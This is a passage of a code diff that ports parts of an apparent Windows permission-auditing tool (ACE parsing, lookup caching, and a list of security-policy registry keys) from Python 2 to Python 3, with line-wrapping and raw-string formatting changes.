+ "SYSTEM_AUDIT_ACE_TYPE", "SYSTEM_ALARM_ACE_TYPE"):
if getattr(ntsecuritycon, i) == self.type_i:
# Abbreviate
- if i == "ACCESS_ALLOWED_ACE_TYPE":
+ if i == "ACCESS_ALLOWED_ACE_TYPE":
self.type = "ALLOW"
break
if i == "ACCESS_DENIED_ACE_TYPE":
@@ -68,8 +69,9 @@ def get_otype(self):
return self.otype
def resolve_perms(self):
- if self.resolved_perms == []:
- for mod, perms_tuple in wpc.conf.all_perms[self.get_otype()].iteritems():
+ if self.resolved_perms == []:
+ for mod, perms_tuple in wpc.conf.all_perms[
+ self.get_otype()].iteritems():
for perm in perms_tuple:
g = getattr(mod, perm) # save a getattr call
if g & self.ace[1] == g:
@@ -90,7 +92,8 @@ def set_perms(self, perms):
self.perms = perms
def has_perm(self, perm):
- if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY
+ if self.get_type(
+ ) == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY
for p in self.get_perms():
if p == perm:
return 1
@@ -98,15 +101,19 @@ def has_perm(self, perm):
def get_perms_dangerous(self):
if self.dperms == []:
- if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY
+ if self.get_type(
+ ) == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY
for p in self.get_perms():
for k in wpc.conf.dangerous_perms_write[self.get_otype()]:
- if p in wpc.conf.dangerous_perms_write[self.get_otype()][k]:
+ if p in wpc.conf.dangerous_perms_write[
+ self.get_otype()][k]:
self.dperms.append(p)
return self.dperms
def as_text(self):
- return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms())
+ return self.get_type() + " " + self.get_principal().get_fq_name(
+ ) + ": \n " + "\n ".join(self.get_perms())
+
# def dangerous_as_text(self):
# return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms_dangerous())
diff --git a/wpc/acelist.py b/wpc/acelist.py
index 82ad5ce..8ce5862 100755
--- a/wpc/acelist.py
+++ b/wpc/acelist.py
@@ -73,4 +73,4 @@ def get_aces_except_for(self, principals):
def as_text(self):
for ace in self.get_aces():
- print ace.as_text()
\ No newline at end of file
+ print(ace.as_text())
\ No newline at end of file
diff --git a/wpc/cache.py b/wpc/cache.py
index 0358743..dc7dfc5 100755
--- a/wpc/cache.py
+++ b/wpc/cache.py
@@ -3,6 +3,7 @@
import win32netcon
import win32security
import wpc.file
+
#from wpc.file import file as wpcfile
@@ -43,8 +44,8 @@ def __init__(self):
def print_stats(self):
for k in self.hits.keys():
- print "Hits for %s: %s" % (k, self.get_hits(k))
- print "Misses for %s: %s" % (k, self.get_misses(k))
+ print("Hits for %s: %s" % (k, self.get_hits(k)))
+ print("Misses for %s: %s" % (k, self.get_misses(k)))
def sd(self, type, name):
# TODO caching code here
@@ -75,16 +76,22 @@ def regkey(self, name):
return f
def LsaOpenPolicy(self, server, rights):
- keystring = "%s%%%s" %(server, rights)
+ keystring = "%s%%%s" % (server, rights)
if not keystring in self.policyhandlefromserverrights.keys():
- self.policyhandlefromserverrights[keystring] = win32security.LsaOpenPolicy(wpc.conf.remote_server, win32security.POLICY_VIEW_LOCAL_INFORMATION | win32security.POLICY_LOOKUP_NAMES)
+ self.policyhandlefromserverrights[
+ keystring] = win32security.LsaOpenPolicy(
+ wpc.conf.remote_server,
+ win32security.POLICY_VIEW_LOCAL_INFORMATION
+ | win32security.POLICY_LOOKUP_NAMES)
return self.policyhandlefromserverrights[keystring]
def LsaEnumerateAccountRights(self, handle, sid):
- keystring = "%s%%%s" %(handle, sid)
+ keystring = "%s%%%s" % (handle, sid)
if not keystring in self.rightsfromhandlesid.keys():
try:
- self.rightsfromhandlesid[keystring] = win32security.LsaEnumerateAccountRights(handle, sid)
+ self.rightsfromhandlesid[
+ keystring] = win32security.LsaEnumerateAccountRights(
+ handle, sid)
except:
self.rightsfromhandlesid[keystring] = ""
@@ -96,9 +103,11 @@ def LookupAccountSid(self, server, s):
self.namefromsid[server] = {}
if not sid in self.namefromsid[server].keys():
try:
- self.namefromsid[server][sid] = win32security.LookupAccountSid(server, s)
+ self.namefromsid[server][sid] = win32security.LookupAccountSid(
+ server, s)
except:
- self.namefromsid[server][sid] = (win32security.ConvertSidToStringSid(s), "[unknown]", 8)
+ self.namefromsid[server][sid] = (
+ win32security.ConvertSidToStringSid(s), "[unknown]", 8)
self.miss('LookupAccountSid')
else:
self.hit('LookupAccountSid')
@@ -110,7 +119,8 @@ def LookupAccountName(self, server, name):
self.sidfromname[server] = {}
if not name in self.sidfromname[server].keys():
try:
- self.sidfromname[server][name] = win32security.LookupAccountName(server, name)
+ self.sidfromname[server][
+ name] = win32security.LookupAccountName(server, name)
except:
self.sidfromname[server][name] = None
self.miss('LookupAccountName')
@@ -132,9 +142,9 @@ def get_misses(self, name):
return self.misses[name]
def is_in_group(self, p, group):
-# print "cache.is_in_group called"
+ # print "cache.is_in_group called"
#sid = win32security.ConvertSidToStringSid(s)
-# print "[D] 1"
+ # print "[D] 1"
sid = p.get_sid_string()
if not sid in self.sidingroup.keys():
self.sidingroup[sid] = {}
@@ -147,12 +157,15 @@ def is_in_group(self, p, group):
self.sidingroup[sid][group.get_sid_string()] = 0
self.miss('is_in_group')
#print "Miss for is_in_group"
- if p.get_sid_string() in map(lambda x: x.get_sid_string(), group.get_members()):
+ if p.get_sid_string() in map(lambda x: x.get_sid_string(),
+ group.get_members()):
self.sidingroup[sid][group.get_sid_string()] = 1
# print "[D] 3"
else:
#print "Hit for is_in_group"
self.hit('is_in_group')
+
+
# print "Returning: %s" % self.sidingroup[sid][group.get_sid_string()]
return self.sidingroup[sid][group.get_sid_string()]
@@ -162,7 +175,9 @@ def NetGroupGetUsers(self, server, name, level):
members = []
while keepgoing:
try:
- m, total, resume = win32net.NetGroupGetUsers(server, name, level, resume, win32netcon.MAX_PREFERRED_LENGTH)
+ m, total, resume = win32net.NetGroupGetUsers(
+ server, name, level, resume,
+ win32netcon.MAX_PREFERRED_LENGTH)
except:
return []
@@ -179,7 +194,9 @@ def NetLocalGroupGetMembers(self, server, name, level):
members = []
while keepgoing:
try:
- m, total, resume = win32net.NetLocalGroupGetMembers(server, name, level, resume, win32netcon.MAX_PREFERRED_LENGTH)
+ m, total, resume = win32net.NetLocalGroupGetMembers(
+ server, name, level, resume,
+ win32netcon.MAX_PREFERRED_LENGTH)
except:
return []
@@ -188,4 +205,4 @@ def NetLocalGroupGetMembers(self, server, name, level):
if not resume:
keepgoing = 0
- return members
\ No newline at end of file
+ return members
diff --git a/wpc/conf.py b/wpc/conf.py
index e013448..b59786d 100755
--- a/wpc/conf.py
+++ b/wpc/conf.py
@@ -1,12 +1,13 @@
# Not a class, just a bunch of constants
-import _winreg
+import winreg
import ntsecuritycon
import win32con
import win32netcon
import win32service
remote_server = None
-executable_file_extensions = ('exe', 'com', 'bat', 'dll', 'pl', 'rb', 'py', 'php', 'inc', 'asp', 'aspx', 'ocx', 'vbs')
+executable_file_extensions = ('exe', 'com', 'bat', 'dll', 'pl', 'rb', 'py',
+ 'php', 'inc', 'asp', 'aspx', 'ocx', 'vbs')
version = None
cache = None
on64bitwindows = None
@@ -14,83 +15,160 @@
screensaver_max_timeout_secs = 600
reg_keys = {
- 'Devices: Unsigned driver installation behavior': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Driver Signing\Policy',
- 'Recovery console: Allow automatic administrative logon ': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole\SecurityLevel',
- 'Recovery console: Allow floppy copy and access to all drives and all folders': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole\SetCommand',
- 'Devices: Restrict CD-ROM access to locally logged-on user only': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateCDRoms',
- 'Devices: Allowed to format and eject removable media': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateDASD',
- 'Devices: Restrict floppy access to locally logged-on user only': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateFloppies',
- 'Interactive logon: Number of previous logons to cache (in case domain controller is not available)': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount ',
- 'Interactive logon: Require Domain Controller authentication to unlock workstation': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ForceUnlockLogon',
- 'Interactive logon: Prompt user to change password before expiration': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\PasswordExpiryWarning',
- 'Interactive logon: Smart card removal behavior': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ScRemoveOption',
- 'Interactive Logon: Display user information when session is locked': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System, value=DontDisplayLockedUserId',
- 'Interactive logon: Do not require CTRL+ALT+DELETE': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCAD',
- 'Interactive logon: Do not display last user name': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName',
- 'Network security: Configure encryption types allowed for Kerberos': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters\SupportedEncryptionTypes',
- 'Interactive logon: Message title for users attempting to logon': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption',
- 'Interactive logon: Message text for users attempting to logon': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeText',
- 'Interactive logon: Require smart card': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ScForceOption',
- 'Shutdown: Allow system to be shut down without having to log on': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ShutdownWithoutLogon',
- 'Devices: Allow undock without having to log on': 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\UndockWithoutLogon',
- 'System Cryptography: Force strong key protection for user keys stored on the computer': 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Cryptography\ForceKeyProtection',
- 'DCOM: HKEY_LOCAL_MACHINE Access Restrictions in Security Descriptor Definition Language (SDDL) syntax': 'HKEY_LOCAL_MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineAccessRestriction',
- 'DCOM: HKEY_LOCAL_MACHINE Launch Restrictions in Security Descriptor Definition Language (SDDL) syntax': 'HKEY_LOCAL_MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction',
- 'System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies': 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\AuthenticodeEnabled',
- 'Audit: Audit the accesss of global system objects': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\AuditBaseObjects',
- 'Audit: Shut down system immediately if unable to log security audits': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\CrashOnAuditFail',
- 'Network access: Do not allow storage of credentials or .NET Passports for network authentication': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\DisableDomainCreds',
- 'Network access: Let Everyone permissions apply to anonymous users': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous',
- 'System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy',
- 'Network access: Sharing and security model for local accounts': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest',
- 'Audit: Audit the use of Backup and Restore privilege': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FullPrivilegeAuditing',
- 'Accounts: Limit local account use of blank passwords to console logon only': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse',
- 'Network security: LAN Manager authentication level': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel',
- 'Network security: Allow LocalSystem NULL session fallback': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\allownullsessionfallback',
- 'Network security: Restrict NTLM: Audit Incoming NTLM Traffic': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\AuditReceivingNTLMTraffic',
- 'Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\ClientAllowedNTLMServers',
- 'Network security: Minimum session security for NTLM SSP based (including secure RPC) clients': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\NTLMMinClientSec',
- 'Network security: Minimum session security for NTLM SSP based (including secure RPC) servers': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\NTLMMinServerSec',
- 'Network security: Restrict NTLM: Incoming NTLM traffic': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\RestrictReceivingNTLMTraffic',
- 'Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\RestrictSendingNTLMTraffic',
- 'System objects: Default owner for objects created by members of the Administrators group': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\NoDefaultAdminOwner',
- 'Network security: Do not store LAN Manager hash value on next password change': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash',
- 'Network security: Allow PKU2U authentication requests to this computer to use online identities.': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\pku2u\AllowOnlineID',
- 'Network access: Do not allow anonymous enumeration of SAM accounts and shares': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\RestrictAnonymous',
- 'Network access: Do not allow anonymous enumeration of SAM accounts': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM',
- 'Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SCENoApplyLegacyAuditPolicy',
- 'Domain controller: Allow server operators to schedule tasks': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SubmitControl',
- 'Network security: Allow Local System to use computer identity for NTLM': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\UseMachineId',
- 'Devices: Prevent users from installing printer drivers': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Providers\LanMan Print Services\Servers\AddPrinterDrivers',
- 'Network access: Remotely accessible registry paths': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedPaths\Machine',
- 'Network access: Remotely accessible registry paths and subpaths': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedPaths\Machine',
- 'System objects: Require case insensitivity for non-Windows subsystems': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Kernel\ObCaseInsensitive',
- 'Shutdown: Clear virtual memory pagefile': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management\ClearPageFileAtShutdown',
- 'System objects: Strengthen default permissions of internal system objects (e.g., Symbolic Links) ': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ProtectionMode',
- 'System settings: Optional subsystems': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SubSystems\optional',
- 'Microsoft network server: Amount of idle time required before suspending session': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\AutoDisconnect',
- 'Microsoft network server: Disconnect clients when logon hours expire': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableForcedLogOff',
- 'Microsoft network server: Digitally sign communications (if client agrees)': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature',
- 'Network access: Named Pipes that can be accessed anonymously': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionPipes',
- 'Network access: Restrict anonymous access to Named Pipes and Shares': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionShares',
- 'Network access: Shares that can be accessed anonymously': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionShares ',
- 'Microsoft network server: Digitally sign communications (always)': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature',
- 'Microsoft network server: Server SPN target name validation level': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\SmbServerNameHardeningLevel',
- 'Microsoft network client: Send unencrypted password to third-party SMB servers': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\EnablePlainTextPassword',
- 'Microsoft network client: Digitally sign communications (if server agrees) ': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\EnableSecuritySignature',
- 'Microsoft network client: Digitally sign communications (always)': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature',
- 'Network security: LDAP client signing requirements': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LDAP\LDAPClientIntegrity',
- 'Network security: Restrict NTLM: Audit NTLM authentication in this domain': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\AuditNTLMInDomain',
- 'Network security: Restrict NTLM: Add server exceptions in this domain': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DCAllowedNTLMServers',
- 'Domain member: Disable HKEY_LOCAL_MACHINE account password changes': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange',
- 'Domain member: Maximum HKEY_LOCAL_MACHINE account password age': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\MaximumPasswordAge',
- 'Domain controller: Refuse HKEY_LOCAL_MACHINE account password changes': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RefusePasswordChange',
- 'Domain member: Digitally encrypt or sign secure channel data (always)': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal',
- 'Domain member: Require strong (Windows 2000 or later) session key': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireStrongKey',
- '"Network security: Restrict NTLM: NTLM authentication in this domain': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RestrictNTLMInDomain',
- 'Domain member: Digitally encrypt secure channel data (when possible)': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\SealSecureChannel',
- 'Domain member: Digitally sign secure channel data (when possible) ': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\SignSecureChannel',
- 'Domain controller: LDAP server signing requirements': 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity',
+ 'Devices: Unsigned driver installation behavior':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Driver Signing\Policy',
+ 'Recovery console: Allow automatic administrative logon ':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole\SecurityLevel',
+ 'Recovery console: Allow floppy copy and access to all drives and all folders':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole\SetCommand',
+ 'Devices: Restrict CD-ROM access to locally logged-on user only':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateCDRoms',
+ 'Devices: Allowed to format and eject removable media':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateDASD',
+ 'Devices: Restrict floppy access to locally logged-on user only':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AllocateFloppies',
+ 'Interactive logon: Number of previous logons to cache (in case domain controller is not available)':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount ',
+ 'Interactive logon: Require Domain Controller authentication to unlock workstation':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ForceUnlockLogon',
+ 'Interactive logon: Prompt user to change password before expiration':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\PasswordExpiryWarning',
+ 'Interactive logon: Smart card removal behavior':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ScRemoveOption',
+ 'Interactive Logon: Display user information when session is locked':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System, value=DontDisplayLockedUserId',
+ 'Interactive logon: Do not require CTRL+ALT+DELETE':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCAD',
+ 'Interactive logon: Do not display last user name':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName',
+ 'Network security: Configure encryption types allowed for Kerberos':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters\SupportedEncryptionTypes',
+ 'Interactive logon: Message title for users attempting to logon':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption',
+ 'Interactive logon: Message text for users attempting to logon':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeText',
+ 'Interactive logon: Require smart card':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ScForceOption',
+ 'Shutdown: Allow system to be shut down without having to log on':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ShutdownWithoutLogon',
+ 'Devices: Allow undock without having to log on':
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\UndockWithoutLogon',
+ 'System Cryptography: Force strong key protection for user keys stored on the computer':
+ r'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Cryptography\ForceKeyProtection',
+ 'DCOM: HKEY_LOCAL_MACHINE Access Restrictions in Security Descriptor Definition Language (SDDL) syntax':
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineAccessRestriction',
+ 'DCOM: HKEY_LOCAL_MACHINE Launch Restrictions in Security Descriptor Definition Language (SDDL) syntax':
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction',
+ 'System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies':
+ r'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\AuthenticodeEnabled',
+ 'Audit: Audit the accesss of global system objects':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\AuditBaseObjects',
+ 'Audit: Shut down system immediately if unable to log security audits':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\CrashOnAuditFail',
+ 'Network access: Do not allow storage of credentials or .NET Passports for network authentication':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\DisableDomainCreds',
+ 'Network access: Let Everyone permissions apply to anonymous users':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous',
+ 'System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy',
+ 'Network access: Sharing and security model for local accounts':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest',
+ 'Audit: Audit the use of Backup and Restore privilege':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FullPrivilegeAuditing',
+ 'Accounts: Limit local account use of blank passwords to console logon only':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse',
+ 'Network security: LAN Manager authentication level':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel',
+ 'Network security: Allow LocalSystem NULL session fallback':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\allownullsessionfallback',
+ 'Network security: Restrict NTLM: Audit Incoming NTLM Traffic':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\AuditReceivingNTLMTraffic',
+ 'Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\ClientAllowedNTLMServers',
+ 'Network security: Minimum session security for NTLM SSP based (including secure RPC) clients':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\NTLMMinClientSec',
+ 'Network security: Minimum session security for NTLM SSP based (including secure RPC) servers':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\NTLMMinServerSec',
+ 'Network security: Restrict NTLM: Incoming NTLM traffic':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\RestrictReceivingNTLMTraffic',
+ 'Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0\RestrictSendingNTLMTraffic',
+ 'System objects: Default owner for objects created by members of the Administrators group':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\NoDefaultAdminOwner',
+ 'Network security: Do not store LAN Manager hash value on next password change':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash',
+ 'Network security: Allow PKU2U authentication requests to this computer to use online identities.':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\pku2u\AllowOnlineID',
+ 'Network access: Do not allow anonymous enumeration of SAM accounts and shares':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\RestrictAnonymous',
+ 'Network access: Do not allow anonymous enumeration of SAM accounts':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM',
+ 'Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SCENoApplyLegacyAuditPolicy',
+ 'Domain controller: Allow server operators to schedule tasks':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SubmitControl',
+ 'Network security: Allow Local System to use computer identity for NTLM':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\UseMachineId',
+ 'Devices: Prevent users from installing printer drivers':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Providers\LanMan Print Services\Servers\AddPrinterDrivers',
+ 'Network access: Remotely accessible registry paths':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedPaths\Machine',
+ 'Network access: Remotely accessible registry paths and subpaths':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\Winreg\AllowedPaths\Machine',
+ 'System objects: Require case insensitivity for non-Windows subsystems':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Kernel\ObCaseInsensitive',
+ 'Shutdown: Clear virtual memory pagefile':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management\ClearPageFileAtShutdown',
+ 'System objects: Strengthen default permissions of internal system objects (e.g., Symbolic Links) ':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ProtectionMode',
+ 'System settings: Optional subsystems':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SubSystems\optional',
+ 'Microsoft network server: Amount of idle time required before suspending session':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\AutoDisconnect',
+ 'Microsoft network server: Disconnect clients when logon hours expire':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableForcedLogOff',
+ 'Microsoft network server: Digitally sign communications (if client agrees)':
